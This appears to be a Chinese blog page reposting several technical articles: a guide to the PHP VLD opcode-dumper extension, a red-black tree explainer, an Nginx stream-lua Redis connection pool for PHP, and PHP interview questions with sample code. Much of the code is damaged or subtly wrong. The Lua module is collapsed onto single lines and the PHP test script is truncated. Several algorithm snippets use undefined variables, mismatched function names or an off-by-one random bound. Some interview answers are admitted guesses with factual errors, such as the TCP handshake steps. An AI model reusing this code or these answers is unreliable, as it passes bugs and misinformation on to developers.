VLD扩展使用指南

原文链接:http://www.phppan.com/2011/05/vld-extension/

VLD(Vulcan Logic Dumper)是一个在Zend引擎中,以挂钩的方式实现的用于输出PHP脚本生成的中间代码(执行单元)的扩展。 它可以在一定程序上查看Zend引擎内部的一些实现原理,是我们学习PHP源码的必备良器。它的作者是Derick Rethans, 除了VLD扩展,我们常用的XDebug扩展的也有该牛人的身影。

VLD扩展是一个开源的项目,在这里可以下载到最新的版本,虽然最新版本的更新也是一年前的事了。 作者没有提供编译好的扩展,Win下使用VC6.0编译生成dll文件,可以看我之前写过的一篇文章(使用VC6.0生成VLD扩展)。 *nix系统下直接configue,make,make install生成。如果遇到问题,请自行Google之。

看一个简单的例子,假如存在t.php文件,其内容如下:

$a = 10;
echo $a;

在命令行下使用VLD扩展显示信息。

php -dvld.active=1 t.php

-dvld.active=1表示激活VLD扩展,使用VLD扩展输出中间代码,此命令在CMD中输出信息为:

Branch analysis from position: 0
Return found
filename:       D:\work\xampp\xampp\php\t.php
function name:  (null)
number of ops:  5
compiled vars:  !0 = $a
line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   2     0  >   EXT_STMT
         1      ASSIGN                                                   !0, 10
   3     2      EXT_STMT
         3      ECHO                                                     !0
   4     4    > RETURN                                                   1

branch: #  0; line:     2-    4; sop:     0; eop:     4
path #1: 0,
10

如上为VLD输出的PHP代码生成的中间代码的信息,说明如下:

  • Branch analysis from position 这条信息多在分析数组时使用。
  • Return found 是否返回,这个基本上有都有。
  • filename 分析的文件名
  • function name 函数名,针对每个函数VLD都会生成一段如上的独立的信息,这里显示当前函数的名称
  • number of ops 生成的操作数
  • compiled vars 编译期间的变量,这些变量是在PHP5后添加的,它是一个缓存优化。这样的变量在PHP源码中以IS_CV标记。
  • op list 生成的中间代码的变量列表

使用-dvld.active参数输出的是VLD默认设置,如果想看更加详细的内容。可以使用-dvld.verbosity参数。

php -dvld.active=1 -dvld.verbosity=3 t.php

-dvld.verbosity=3或更大的值的效果都是一样的,它们是VLD在当前版本可以显示的最详细的信息了,包括各个中间代码的操作数等。显示结果如下:

Finding entry points
Branch analysis from position: 0
Add 0
Add 1
Add 2
Add 3
Add 4
Return found
filename:       D:\work\xampp\xampp\php\t.php
function name:  (null)
number of ops:  5
compiled vars:  !0 = $a
line     # *  op                           fetch          ext  return  operands
--------------------------------------------------------------------------------
-
   2     0  >   EXT_STMT                                          RES[  IS_UNUSED  ]         OP1[  IS_UNUSED  ] OP2[  IS_UNUSED  ]
         1      ASSIGN                                                    OP1[IS_CV !0 ] OP2[ ,  IS_CONST (0) 10 ]
   3     2      EXT_STMT                                          RES[  IS_UNUSED  ]         OP1[  IS_UNUSED  ] OP2[  IS_UNUSED  ]
         3      ECHO                                                      OP1[IS_CV !0 ]
         4    > RETURN                                                    OP1[IS_CONST (0) 1 ]

branch: #  0; line:     2-    3; sop:     0; eop:     4
path #1: 0,
10

以上的信息与没有加-dvld.verbosity=3的输出相比,多了Add 字段,还有中间代码的操作数的类型,如IS_CV,IS_CONST等。 PHP代码中的$a = 10; 其中10的类型为IS_CONST, $a作为一个编译期间的一个缓存变量存在,其类型为IS_CV。

如果我们只是想要看输出的中间代码,并不想执行这段PHP代码,可以使用-dvld.execute=0来禁用代码的执行。

php -dvld.active=1 -dvld.execute=0 t.php

运行这个命令,你会发现这与最开始的输出有一点点不同,它没有输出10。 除了直接在屏幕上输出以外,VLD扩展还支持输出.dot文件,如下的命令:

php -dvld.active=1 -dvld.save_dir='D:\tmp' -dvld.save_paths=1 -dvld.dump_paths=1 t.php

以上的命令的意思是将生成的中间代码的一些信息输出在D:/tmp/paths.dot文件中。 -dvld.save_dir指定文件输出的路径,-dvld.save_paths控制是否输出文件,-dvld.dump_paths控制输出的内容,现在只有0和1两种情况。 输出的文件名已经在程序中硬编码为paths.dot。这三个参数是相互依赖的关系,一般都会同时出现。

总结一下,VLD扩展的参数列表:

  • -dvld.active 是否在执行PHP时激活VLD挂钩,默认为0,表示禁用。可以使用-dvld.active=1启用。
  • -dvld.skip_prepend 是否跳过php.ini配置文件中auto_prepend_file指定的文件, 默认为0,即不跳过包含的文件,显示这些包含的文件中的代码所生成的中间代码。此参数生效有一个前提条件:-dvld.execute=0
  • -dvld.skip_append 是否跳过php.ini配置文件中auto_append_file指定的文件, 默认为0,即不跳过包含的文件,显示这些包含的文件中的代码所生成的中间代码。此参数生效有一个前提条件:-dvld.execute=0
  • -dvld.execute 是否执行这段PHP脚本,默认值为1,表示执行。可以使用-dvld.execute=0,表示只显示中间代码,不执行生成的中间代码。
  • -dvld.format 是否以自定义的格式显示,默认为0,表示否。可以使用-dvld.format=1,表示以自己定义的格式显示。这里自定义的格式输出是以-dvld.col_sep指定的参数间隔
  • -dvld.col_sep 在-dvld.format参数启用时此函数才会有效,默认为 “\t”。
  • -dvld.verbosity 是否显示更详细的信息,默认为1,其值可以为0,1,2,3 其实比0小的也可以,只是效果和0一样,比如0.1之类,但是负数除外,负数和效果和3的效果一样 比3大的值也是可以的,只是效果和3一样。
  • -dvld.save_dir 指定文件输出的路径,默认路径为/tmp。
  • -dvld.save_paths 控制是否输出文件,默认为0,表示不输出文件
  • -dvld.dump_paths 控制输出的内容,现在只有0和1两种情况,默认为1,输出内容

[转]红黑树回顾

原文链接:http://liuliqiang.info/post/red-black-tree/
在我学习数据结构和算法一段时间之后,就被灌输了二分查找的性能非常好的观念,确实,这也没什么毛病,毕竟 O(logn) 的复杂度确实已经很好了。那么,习惯得,我也将二叉树认为是查找元素的不二选择,好像这在通常情况下问题也不大。

但是,当理论遇到现实的时候,事情就变得有点糟糕了,例如二叉树的理想状态应该是平衡二叉树,也就是说对于每一个分支,左右子树的高度差最多就是一个,这样可以保证查找一个元素的时间复杂度是 O(logn)。事实上,这很难做到,我是说在不修正的情况下,要想让一棵二叉树随时保持平衡,那么我们就需要在增加或删除元素的时候做平衡处理,而这处理的代价经常都会是 O(logn)。

为了在尽可能保持二叉树的优点的同时,又尽可能解决缺点,有很多类似的树型结构被发现,其中有 2-3树/AVL 树/红黑树/B树/B+树等等,每种都有其独特并且优异的地方,而在这篇文章中,我就以红黑树为例,温习一下红黑树的知识。

红黑树与AVL树的比较:
AVL是严格平衡树,因此在增加或者删除节点的时候,根据不同情况,旋转的次数比红黑树要多;
红黑是用非严格的平衡来换取增删节点时候旋转次数的降低;
所以简单说,如果你的应用中,搜索的次数远远大于插入和删除,那么选择AVL,如果搜索,插入删除次数几乎差不多,应该选择RB。
红黑树的特点
一棵二叉查找树如果满足以下的红黑性质,那么这就是一棵红黑树:

每个节点要么是红的,要么是黑的
根节点是黑的
每个叶节点(NULL)是黑的
如果一个节点是红的,那么它的两个儿子都是黑的
对于每个节点,从该节点到其子孙节点的所有路径上包含相同数目的黑节点
对第 4 个点稍作解释,其实可以说成是没有父子节点都是红的情况,但是,却可以存在父子节点都是黑的情况。

对于一棵红黑树来说,那么它一定满足这些性质,那么只有两种情况会破坏这些性质,那就是插入 和 删除,所以我们需要做一些特别的操作来使 红黑树 能够继续满足条件。

插入节点
往一棵红黑树中插入一个节点时,我们要遵循一些规则:

插入的节点最开始一定是设置成红的
插入的节点的位置一开始一定是叶子节点的位置
只有当父节点的颜色也是红的时候,我们才需要考虑调整
这就是一棵简单的红黑树:

这里将元素4 插入到原来的红黑树中,所以,这里也就破坏红黑性质了,这也是唯一一种需要转换的情况,那就是父子节点都是红的。对于父子节点都是红的,我们需要考虑两种情况:

新的节点在父节点的左树
新的节点在父节点的右树
但是,处理这个问题,有时候很简单得完成,那就是第三种情况:

父节点的兄弟节点也是红的
这个时候我们归纳一下,插入一个新元素的时候,红黑特性被破坏,我们有三种情况需要处理:

父节点的兄弟节点也是红的
新的节点在父节点的左子树
新的节点在父节点的右子树
下面我们就对这三种情况一一解决。

父节点的兄弟节点也是红的
对于这种情况,我们上面的示例就恰恰是这样的:

这个时候因为 5 和 8 都是红的,所以我们可以这么操作:

将 5 和 8 变为黑,然后将 7 变成红
即可,这样我们就让新插入的节点不会破坏 红黑性质 了,因为对于节点 7 来说,我们可以保证它到子节点中的黑节点个数不变,这样的话,整棵树的黑节点路径原则也不会被破坏。

变换之后就是:

但是,可以发现,父节点被变换颜色之后又和它的父节点产生了冲突,这个时候就不能通过变换兄弟节点的颜色来解决了。但是,我们可以发现,现在 2 和 7 的情况就是我们的另外一种情况:新的节点在父节点的右子树

新的节点在父节点的右子树
对于父节点的兄弟不是红色的,并且新的节点在父节点的左树的情况:

这就是刚才解决新插入节点之后的新情况,对节点 7 和节点 2 产生了冲突,这个时候我们需要解决。这里需要引入一个新的概念叫做旋转,旋转包含左旋和右旋,其实他们是对称操作:

所以这里需要利用 左旋 的操作,根据上图的指引,我们进行以节点 2 为根进行 左旋 后的结果是:

这个时候又遇到情况了,那就是节点 2 和节点 7 又冲突了并且就是最后一种情况:新的节点在父节点的左子树

新的节点在父节点的左子树
当遇到这种情况的时候,我们就要进行 右旋 操作,右旋操作有个前提就是

将父节点设置为 Black
将父节点的父节点设置为 Red
右旋 父节点的父节点
右旋 之后的结果应该是:

这个时候可以发现这棵二叉查找树 已经满足了所有的 红黑性质,也就是说这又是一棵红黑树,也就是将插入操作调整完毕了。

插入小结
可以看到,这个简单的操作就涉及到了 3 种类型,其实过程中可能不止做一种类型的转换,还会涉及到 2 种或者 3 种类型的转换。

父节点的兄弟节点也是红的
将父节点和兄弟节点都改成黑的
将父节点的父节点改成红的
新的节点在父节点的右子树
左旋
新的节点在父节点的右子树
将父节点设置为 Black
将父节点的父节点设置为 Red
右旋父节点的父节点
删除节点
红黑树中的删除和普通二叉查找树的删除差不多,也就多了一项红黑节点调整。所以假设我们先不考虑红黑调整,那么删除一个节点就是:

这就是一个普通的删除二叉查找树的步骤,其中 tree_successor 就是搜索下一个用来替换当前节点的值,这里需要说明的是这个被用来替换的值肯定是叶子节点,或者说只有右子树的节点,没有其他情况。然后我们所谓的删除就是将两个值调换,将替换的值删掉。

现在是时候考虑一下红黑平衡了,考虑一下,什么时候需要红黑平衡?根据这里的代码,我们可以发现真正被删除的是 y,所以,有两种情况需要考虑:

y 是红色的,那么删除红色节点之后,并不会影响后续节点路径中黑色节点的个数,也不会导致两个红色节点成为父子节点,那么也就是说是安全的,无需红黑平衡了。
y 是黑色的,那么这个时候被删除了,和 y 有关的路径就少了一个黑色节点,那么我们可以考虑将这个黑色节点下移,转给 y 的儿子 x,也就是说 x 必须承担一个黑色。
这个时候又需要考虑两种情况了,对于 x 来说,也有两种可能,那就是:

x 是红色的,那么我们直接将 x 转变为黑色,那么整个路径上黑色节点的个数也平衡了,而且也不会有两个红色成为父子节点,就成功了。
x 是黑色的,那么显然不能再提供一个黑色,那么只能继续迁移,需要记住,此时 x 承担了 2 个黑色的责任,需要找人承担一个
对于 x 需要承担 2 个黑色的情况,我们有几种情况要考虑:

x 的兄弟 w 是红色的

那么对于这种情况,我们可以考虑进行一个左旋,然后再改变一下兄弟节点的颜色:

这里考虑将 节点D 进行一个左旋,那么旋转之后的结果就是:

我们将 B/D 的颜色进行一个转换,然后我们需要注意的是 x 对应的节点也还必须承担多一个黑色,然而这个 x 已经是黑色了,所以还得转接,但是,很明显,兄弟节点不是红色了,不能旋转了,那我们就需要考虑另外一种情况了。

x 的兄弟 w 是黑色的,而且 w 的两个孩子都是黑色的

因为 x 不能承担多一个黑色,所以我们考虑 w 的情况,首先考虑 w 有两个孩子,并且两个孩子都是黑色的,那么就是这样子的:

rb-case2-01.png

对于这种情况,我们可以将 节点D 的颜色变为红色,这样的话可以发现左右都差一个黑色,那么我们就将这差的一个黑色让 父节点c 承担,虽然图示中 父节点c 的颜色是红色的,但是事实上红黑都有可能:

如果是红色,那么直接变成黑色就大功告成了
如果是黑色,那么就需要多贡献一个黑色,如果不能贡献,那只能继续根据各种情况递归下去

所以变换之后应该是这样的:

rb-case2-02.png

x 的兄弟 w 是黑色的,而且 w 的左子节点是红色,右子节点是黑色

这种情况我们可以用图示来表示:

rb-case3-01.png

对于这种情况,我们不能一次性迁移 节点x 的状态,那只能退而求其次,找出一个中间状态,构建这个中间状态:

rb-case3-02.png

这里讲 节点C 的位置提升为父节点,然后将原来的 父节点D 将为 节点C 的子节点,并且改变为红色,然后我们再讨论这种情况。

x 的兄弟 w 是黑色的,并且 w 的右子节点是红色

这里我们可以发现我们只关注 节点w 的右子节点,并且为红色即可,不需要关注左子节点,这个时候我们可以这样表示这个图:

rb-case4-01.png

这时,我们可以将 节点D 左旋,然后就得到了这种情况:

rb-case4-02.png

这里有几点地方需要指出来:

原来 节点w 的右节点E 变成了 Black
原来 节点D 的颜色变成了 节点B 的颜色
父节点B 的颜色一定变成 Black

这时,我们再看这张图,会发现 x 不见了,也就是说没有任何节点需要多提供一个黑色,也就是说我们这棵红黑树平衡了。

以上就是我们需要考虑的删除一个节点之后红黑不平衡的问题了,其实核心要点就是记住 变量x 就是表示这个节点需要多提供一个黑色,所以当 x 是 Root 或者是红色的时候,那么我们就成功了,因为:

如果 root 需要提供多一个黑色,那么其实完全就不用多提供了,因为 root 无父节点需要平衡。
如果是红色节点需要提供多一个黑色,那么尽管把它变成黑色好了,因为把它变成黑色不会影响我们的红黑特性,最可能影响到的一条特性就是任何路径上的黑色节点数一样,但是因为包含这个节点的路径都少了一个,所以尽管变成黑色就可以了。
小结
红黑树的目的就是尽可能保持二叉搜索树的平衡,保证二叉搜索树的搜索速度,同时又要提高插入元素的速度,所以红黑树要设立红黑特性,保证在这两方面之间得到权衡。和 AVL 树相比:

如果你的插入和搜索频率差不多,那么就用 红黑树
如果插入远远少于查询,那么用 AVL树 划算
Reference
算法导论
教你透彻了解红黑树
二叉树可视化工具

[转]史上最LOW的PHP连接池解决方案

原文链接:https://huoding.com/2017/09/10/635?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
大多数 PHP 程序员从来没有使用过连接池,主要原因是按照 PHP 本身的运行机制并不容易实现连接池,于是乎 PHP 程序员一方面不得不承受其它程序员的冷嘲热讽,另一方面还得面对频繁短链接导致的性能低下和 TIME_WAIT 等问题。

说到这,我猜一定会有 PHP 程序员跳出来说可以使用长连接啊,效果是一样一样的。比如以 PHP 中最流行的 Redis 模块 PhpRedis 为例,便有 pconnect 方法可用,通过它可以复用之前创建的连接,效果和使用连接池差不多。可惜实际情况是 PHP 中各个模块的长连接方法并不好用,基本上是鸡肋一样的存在,原因如下:

首先,按照 PHP 的运行机制,长连接在建立之后只能寄居在工作进程之上,也就是说有多少个工作进程,就有多少个长连接,打个比方,我们有 10 台 PHP 服务器,每台启动 1000 个 PHP-FPM 工作进程,它们连接同一个 Redis 实例,那么此 Redis 实例上最多将存在 10000 个长连接,数量完全失控了!
其次,PHP 的长连接本身并不健壮。一旦网络异常导致长连接失效,没有办法自动关闭重新连接,以至于后续请求全部失败,此时除了重启服务别无它法!
问题分析到这里似乎进入了死胡同:按常规做法是没法实现 PHP 连接池了。

别急着,如果问题比较棘手,我们不妨绕着走。让我们把目光聚焦到 Nginx 的身上,其 stream 模块实现了 TCP/UDP 服务的负载均衡,同时借助 stream-lua 模块,我们就可以实现可编程的 stream 服务,也就是用 Nginx 实现自定义的 TCP/UDP 服务!当然你可以自己从头写 TCP/UDP 服务,不过站在 Nginx 肩膀上无疑是更省时省力的选择。

不过 Nginx 和 PHP 连接池有什么关系?且听我慢慢道来:通常大部分 PHP 是搭配 Nginx 来使用的,而且 PHP 和 Nginx 多半是在同一台服务器上。有了这个客观条件,我们就可以利用 Nginx 来实现一个连接池,在 Nginx 上完成连接 Redis 等服务的工作,然后 PHP 通过本地的 Unix Domain Socket 来连接 Nginx,如此一来既规避了短链接的种种弊端,也享受到了连接池带来的种种好处。

PHP Pool
PHP Pool

下面以 Redis 为例来讲解一下实现过程,事先最好对 Redis 交互协议有一定的了解,推荐阅读官方文档或中文翻译,具体实现可以参考 lua-resty-redis 库,虽然它只是一个客户端库,但是 Redis 客户端请求和服务端响应实际上格式是差不多通用的。

首先在 nginx.conf 文件中加入如下配置:

stream {
lua_code_cache on;
lua_socket_log_errors on;
lua_check_client_abort on;
lua_package_path “/path/to/?.lua;;”;

server {
listen unix:/tmp/redis.sock;

content_by_lua_block {
local redis = require “redis”
pool = redis:new({ ip = “…”, port = “…” })
pool:run()
}
}
}
然后在 lua_package_path 配置的路径上创建 redis.lua 文件:

local redis = require “resty.redis”

local assert = assert
local print = print
local rawget = rawget
local setmetatable = setmetatable
local tonumber = tonumber
local byte = string.byte
local sub = string.sub

local function parse(sock)
local line, err = sock:receive()

if not line then
if err == “timeout” then
sock:close()
end

return nil, err
end

local result = line .. “\r\n”
local prefix = byte(line)

if prefix == 42 then — char ‘*’
local num = tonumber(sub(line, 2))

if num <= 0 then return result end for i = 1, num do local res, err = parse(sock) if res == nil then return nil, err end result = result .. res end elseif prefix == 36 then -- char '$' local size = tonumber(sub(line, 2)) if size <= 0 then return result end local res, err = sock:receive(size) if not res then return nil, err end local crlf, err = sock:receive(2) if not crlf then return nil, err end result = result .. res .. crlf end return result end local function exit(err) ngx.log(ngx.NOTICE, err) return ngx.exit(ngx.ERROR) end local _M = {} _M._VERSION = "1.0" function _M.new(self, config) local t = { _ip = config.ip or "127.0.0.1", _port = config.port or 6379, _timeout = config.timeout or 100, _size = config.size or 10, _auth = config.auth, } return setmetatable(t, { __index = _M }) end function _M.run(self) local ip = self._ip local port = self._port local timeout = self._timeout local size = self._size local auth = self._auth local downstream_sock = assert(ngx.req.socket(true)) while true do local res, err = parse(downstream_sock) if not res then return exit(err) end local red = redis:new() local ok, err = red:connect(ip, port) if not ok then return exit(err) end if auth then local times = assert(red:get_reused_times()) if times == 0 then local ok, err = red:auth(auth) if not ok then return exit(err) end end end local upstream_sock = rawget(red, "_sock") upstream_sock:send(res) local res, err = parse(upstream_sock) if not res then return exit(err) end red:set_keepalive(timeout, size) downstream_sock:send(res) end end return _M 见证奇迹的时候到了,测试的 PHP 脚本内容如下: connect(‘/tmp/redis.sock’);
// $redis->connect(‘ip’, ‘port’);

$redis->set(“foo”, bar);
$foo = $redis->get(“foo”);
var_dump($foo);
}

?>
可惜测试的时候,不管是通过 /tmp/redis.sock 连接,还是通过 ip 和 port 连接,结果效率都差不多,完全不符合我们开始的分析,挂上 strace 看看发生了什么:

shell> strace -f …
[pid …] recvfrom(…, “QUIT\r\n”, 4096, 0, NULL, NULL) = 6
[pid …] sendto(…, “QUIT\r\n”, 6, 0, NULL, 0) = 6
原来是因为 PhpRedis 发送了 QUIT,结果我们连接池里的连接都被关闭了。不过这个问题好解决,不要使用 connect,换成 pconnect 即可:

pconnect(‘/tmp/redis.sock’);
?>
再次测试,结果发现在本例中,使用连接池前后,效率提升了 50% 左右。注意,此结论仅仅保证在我的测试里有效,如果你测试的话,视情况可能有差异。

说到这里,没搞清楚原委的读者可能会质疑:你不是说 PHP 里的长连接是鸡肋么,怎么自己在测试里又用了长连接!本文使用 pconnect,只是为了屏蔽 QUIT 请求,而且仅仅在本地使用,没有数量和网络异常的隐忧,此时完全没有问题,并且实际上我们也可以在 redis.lua 里过滤 QUIT 请求,篇幅所限,我就不做这个实现了。

鲁迅说:真的猛士,敢于直面惨淡的人生,敢于正视淋漓的鲜血。从这个角度看,本文的做法实在是 LOW,不过换个角度看,二战中德军对付马其诺防线也干过类似的勾当,所以管它 LOW 不 LOW,能解决问题的方法就是好方法。

[转]中高级的一些PHP面试题

原文链接:https://zhuanlan.zhihu.com/p/27493130
公司1:

1、mysql_real_escape_string mysql_escape_string有什么本质的区别,有什么用处,为什么被弃用?

答:mysql_real_escape_string需要预先连接数据库,并可在第二个参数传入数据库连接(不填则使用上一个连接)

两者都是对数据库插入数据进行转义,但是mysql_real_escape_string转义时,会考虑数据库连接的字符集。

它们的用处都是用来能让数据正常插入到数据库中,并防止sql注入,但是并不能做到100%防止sql注入。

再问:为什么不能100%防止?

答;因为客户端编码以及服务器端编码不同,可能产生注入问题,但是其实这种场景不多见。

继续答:被弃用的原因是官方不再建议使用mysql_xx的数据库操作方式,建议使用pdo和mysqli,因为不管从性能跟安全来看,mysqli都比mysql要好。

衍生出来的问题是mysqli的连接复用(持久化)问题,这一块我并没有答好。

2、什么是内存泄漏,js内存泄漏是怎么产生的?

答:内存泄漏是因为一块被分配内存既不能被使用,也不能被回收,直到浏览器进程结束。

产生泄漏的原因是闭包维持函数内局部变量,不能被释放,尤其是使用闭包并存在外部引用还setInterval的时候危害很大。

备注:我觉得这块回答并不好,因为肯定不是闭包的原因。

我查了一下资料,从比较浅的方位来再回答一下这个问题:

产生泄漏的原因有好几种:

(1) 页面元素被删除,但是绑定在该元素上的事件未被删除;

(2) 闭包维持函数内局部变量(外部不可控),使其得不到释放;

(3) 意外的全局变量;

(4) 引用被删除,但是引用内的引用,还存在内存中。

从上述原因上看,内存泄漏产生的根本原因是引用无法正确回收,值类型并不能引发内存泄漏。

对于每个引用,都有自己的引用计数,当引用计数归零或被标记清除时,js垃圾回收器会认为该引用可以回收了。

3、什么是闭包,跟原型链、作用域链有什么关联

答:闭包是指存在于一个作用域链分支的函数域内的函数,该函数可以向上逐级访问作用域链上的变量,直到找到为止。当闭包存在外部引用时,js会维持闭包自身以及所在函数作用域链的内存状态。

备注:这个是我自己瞎说的。

继续答:跟原型链没有什么关联,函数的原型(prototype)主要用于实现继承,原型链可用于追溯继承关系,与作用域链类似,都是向上逐级访问属性,直到被找到,原型链的顶层是null,可以理解为所有的object都继承至null,所以null的类型是object。

继续答:作用域链可以看作是一个树形结构,由根节点window向下扩散,下层节点可以访问上层节点,但是上层节点无法访问下层节点,产生闭包的函数作用域属于节点中的一个,向下扩散后闭包函数产生叶子节点,叶子节点之间可以互相访问,当访问的变量在叶子节点中无法找到时,向上层节点查找,直到被找到为止,这个概念有点类似原型链上的属性查找。

4、一台电脑配置无限好,可以同时打开多少个网页

答:65535-1000 = 64535(端口数)

5、ip地址能被伪造吗?

答:http头部可以被篡改,但是只能修改X_FORWARDED_FOR,真实ip地址(REMOTE_ADDR)很难修改(除非是路由器去修改),因为真实ip是底层会话ip地址,而且因为TCP 3次握手的存在,连接无法建立,伪造的意义不大,至于UDP的话,一般是内网才使用UDP通信。

6、有100万个奖品,每个人可以中奖3次,先到先得,怎么控制并发,不能发超,并保证完全的先到先得模式

答:百万奖品在打乱后预先insert到数据库,所有中奖操作,均只能update,不能insert。进来抽奖的用户使用memcahe原子加锁,实现抽奖次数自增,当抽奖次数到达3时,返回不中奖。

再问:预先插入需要很多资源,如果奖品数量上了1亿怎么办?

答:使用redis队列存储请求,跑守护进程异步发奖,产生的问题是用户无法实时看到中奖情况。

再问:这样肯定不行。

再答:使用全局内存加锁确保抽奖过程是单进程在跑,但是会面临大并发阻塞问题。

再问:内存比较宝贵,在不用内存加锁的情况下怎么办,并且如果碰到1亿奖池的情况,预先插入数据库肯定不好,怎么办?

答:设置奖品概率,分三张表,都使用innodb引擎,一张存中奖记录(预先插入一行),一张存奖品发放概况,一张存用户抽奖情况(uin唯一索引),大并发情况下,利用mysql的排他锁进行并发控制。流程如下:

begin

查询用户抽奖次数,加排他锁

对用户抽奖次数的更新/插入

锁行查询发放情况

获得抽奖结果(某些奖品发完之后,动态变更概率)

更新发放表

插入中奖记录

commit

再问:遇到脏读怎么办?

答:这方面不是很了解

再问:innodb的master线程在什么情况下fork其他子线程?

答:不知道

7、数据链路层的数据是怎么校验的,有哪些校验方式?

答:crc32,别的校验可能是取模校验奇偶数吧。

备注:答个crc校验就行了。

8、b+树的查询时间复杂度是多少,哈希表是多少,为什么数据库索引用b+树存储,而不是哈希表,数据库索引存储还有其他数据结构吗?

答:O(log(n)),O(1)

因为哈希表是散列的,在遇到`key`>’12’这种查找条件时,不起作用,并且空间复杂度较高。

备注:b+数根据层数决定时间复杂度,数据量多的情况下一般4-5层,然后用二分法查找页中的数据,时间复杂度远小于log(n)。

9、apache是怎么跟php通讯的,sapi是什么

答:使用sapi通讯,sapi是php封装的对外数据传递接口,通常有cgi/fastcgi/cli/apache2handler四种运行模式。

10、php的垃圾回收机制?

答:垃圾回收是指当php运行状态结束时,比如遇到了exit/die/致命错误/脚本运行结束时,php需要回收运行过程中创建的变量、资源的内存。

ZEND引擎维护了一个栈zval,每个创建的变量和资源都会压入这个栈中,每个压入的数组结构都类似:[refcount => int, is_ref => 0|1, value => union, type => string],变量被unset时,ref_count如果变成0,则被回收。

当遇到变量循环引用自身时,使用同步回收算法回收。

备注:PHP7已经重写了zal的结构体。

11、jquery的sizzle引擎工作原理

答:除了直到是DOM元素查找引擎之外,一无所知。

12、seajs的工作原理,如何解决重复加载库的问题,如何进行资源的同步加载

答:建立映射关系并缓存起来;资源并不能真正同步加载,只是返回一个回调。

13、memcache跟redis的区别

答:可存储数据结构不同;redis支持持久化存储。

14、md5逆向原理

答:先用字典查找,再尝试暴力破解。

再问:没有更好的方法了吗?

答:没有了。

备注:嗯,事实上也确实没有特别好的办法,只能使用TB级的海量特征库用数据库存起来,然再分片查找。

15、父类方法是protected,子类重构为private,会发生什么?

答:会发生fatal错误,因为继承的方法或属性只能维持或放大权限,不能缩小,比如protected重载为public是可行的。

16、一个网页从输入地址回车,到完整展示网页内容这段时间里,做了哪些工作,越详细越好。

答:

0、浏览器本地缓存匹配;

1、本地hosts映射对比;

2、本地dns缓存解析;

3、远程dns解析获得服务器ip地址;

4、浏览器发送tcp连接请求包(syn);

5、请求包经过传输层、网络层、数据链路层封装通过网卡到达路由器;

6、路由器转发数据包到所属运营商服务器;

7、运营商服务器通过寻址最短路径通过中继节点到达指定ip地址;

8、服务器端可能存在反向代理或者负载均衡,都是直接转发请求至上游服务器,当然也可以制定安全防御规则直接丢弃请求包;

9、上游服务器收到连接请求,在自身可用的情况下,返回(syn+ack);

10、浏览器校验ack,再次发送(syn+ack);

11、服务器校验ack切换连接状态至established,然后根据请求传输数据包;

12、当transform-encoding为chunked时,浏览器开始渲染页面;

13、四次挥手,连接关闭;

14、渲染数据完成。

备注:还有很多东西不懂,一些东西完全是自己瞎蒙的,因为时间原因,以后有时间详细画一下。

17、keep-alive的概念

答:长连接机制,表示keep-alive-timeout时间内,如果连接没有closed,再次传输数据不再需要三次握手了。

备注:这里也有很多疑问,需要好好捋一捋。

18、linux文件压缩操作命令,shell脚本等

备注:因为平时开发都是在windows环境,对linux了解不足,这一块几乎是0分。

公司2:

这个是被鄙视最惨的一家了,首先会有笔试,相对来说并不复杂,但是有些坑,很多已经忘记了。

印象深刻的是我说自己熟悉常用设计模式,然后让我画UML类图,我就懵逼了,所以在写简历的时候,最好是写自己非常熟悉的,如果只是一知半解,并没有必要放到简历中。

公司3:

这里仅列举几个问到的问题:

1、设计一个中继服务器,转发客户A->客户B的请求;

2、myisam跟innodb有什么区别;

3、php进程死锁产生的原因是什么?怎么自动排查与自动恢复?

4、有class A { public function b($a, $b, $c){}};

怎么使用[‘b’ => 2, ‘a’ => 1, ‘c’ => 3],对进行A::b进行调用,并顺利赋值?

5、php5.2->php7.1的各版本演进历史,新增特性等?

6、画一个tcp三次握手图

[转]三年PHP面试题

原文链接:https://juejin.im/entry/59b533746fb9a00a5e35ac17

算法

1.反转函数的实现

/**
* 反转数组
* @param array $arr
* @return array
*/
function reverse($arr)
{
$n = count($arr);

$left = 0;
$right = $n – 1;

while ($left < $right) {
$temp = $arr[$left];
$arr[$left++] = $arr[$right];
$arr[$right–] = $temp;
}

return $arr;
}
2.两个有序int集合是否有相同元素的最优算法

/**
* 寻找两个数组里相同的元素
* @param array $arr1
* @param array $arr2
* @return array
*/
function find_common($arr1, $arr2)
{
$common = array();
$i = $j = 0;
$count1 = count($arr1);
$count2 = count($arr2);
while ($i < $count1 && $j < $count2) {
if ($arr1[$i] < $arr2[$j]) { $i++; } elseif ($arr1[$i] > $arr2[$j]) {
$j++;
} else {
$common[] = $arr[$i];
$i++;
$j++;
}
}
return array_unique($common);
}
3.将一个数组中的元素随机(打乱)

/**
* 打乱数组
* @param array $arr
* @return array
*/
function custom_shuffle($arr)
{
$n = count($arr);
for ($i = 0; $i < $n; $i++) {
$rand_pos = mt_rand(0, $n);
if ($rand_pos != $i) {
$temp = $arr[$i];
$arr[$i] = $arr[$rand_pos];
$arr[$rand_pos] = $temp;
}
}
return $arr;
}
4.给一个有数字和字母的字符串,让连着的数字和字母对应

function number_alphabet($str)
{
$number = preg_split(‘/[a-z]+/’, $str, -1, PREG_SPLIT_NO_EMPTY);
$alphabet = preg_split(‘/\d+/’, $str, -1, PREG_SPLIT_NO_EMPTY);
$n = count($number);
for ($i = 0; $i < $count; $i++) {
echo $number[$i] . ‘:’ . $alphabet[$i] . ”;
}
}
$str = ‘1a3bb44a2ac’;
number_alphabet($str);//1:a 3:bb 44:a 2:ac
5.求n以内的质数(质数的定义:在大于1的自然数中,除了1和它本身意外,无法被其他自然数整除的数)

思路:

(质数筛选定理)n不能够被不大于根号n的任何质数整除,则n是一个质数
除了2的偶数都不是质数 代码如下:

/**
* 求n内的质数
* @param int $n
* @return array
*/
function get_prime($n)
{
$prime = array(2);//2为质数

for ($i = 3; $i <= $n; $i += 2) {//偶数不是质数,步长可以加大
$sqrt = intval(sqrt($i));//求根号n

for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇数,当然不能被偶数整除,步长也可以加大。 if ($i % $j == 0) { break; } } if ($j > $sqrt) {
array_push($prime, $i);
}
}

return $prime;
}
print_r(getPrime(1000));

### 6.约瑟夫环问题
相关题目:一群猴子排成一圈,按1,2,…,n依次编号。然后从第1只开始数,数到第m只,把它踢出圈,从它后面再开始数, 再数到第m只,在把它踢出去…,如此不停的进行下去, 直到最后只剩下一只猴子为止,那只猴子就叫做大王。要求编程模拟此过程,输入m、n, 输出最后那个大王的编号。
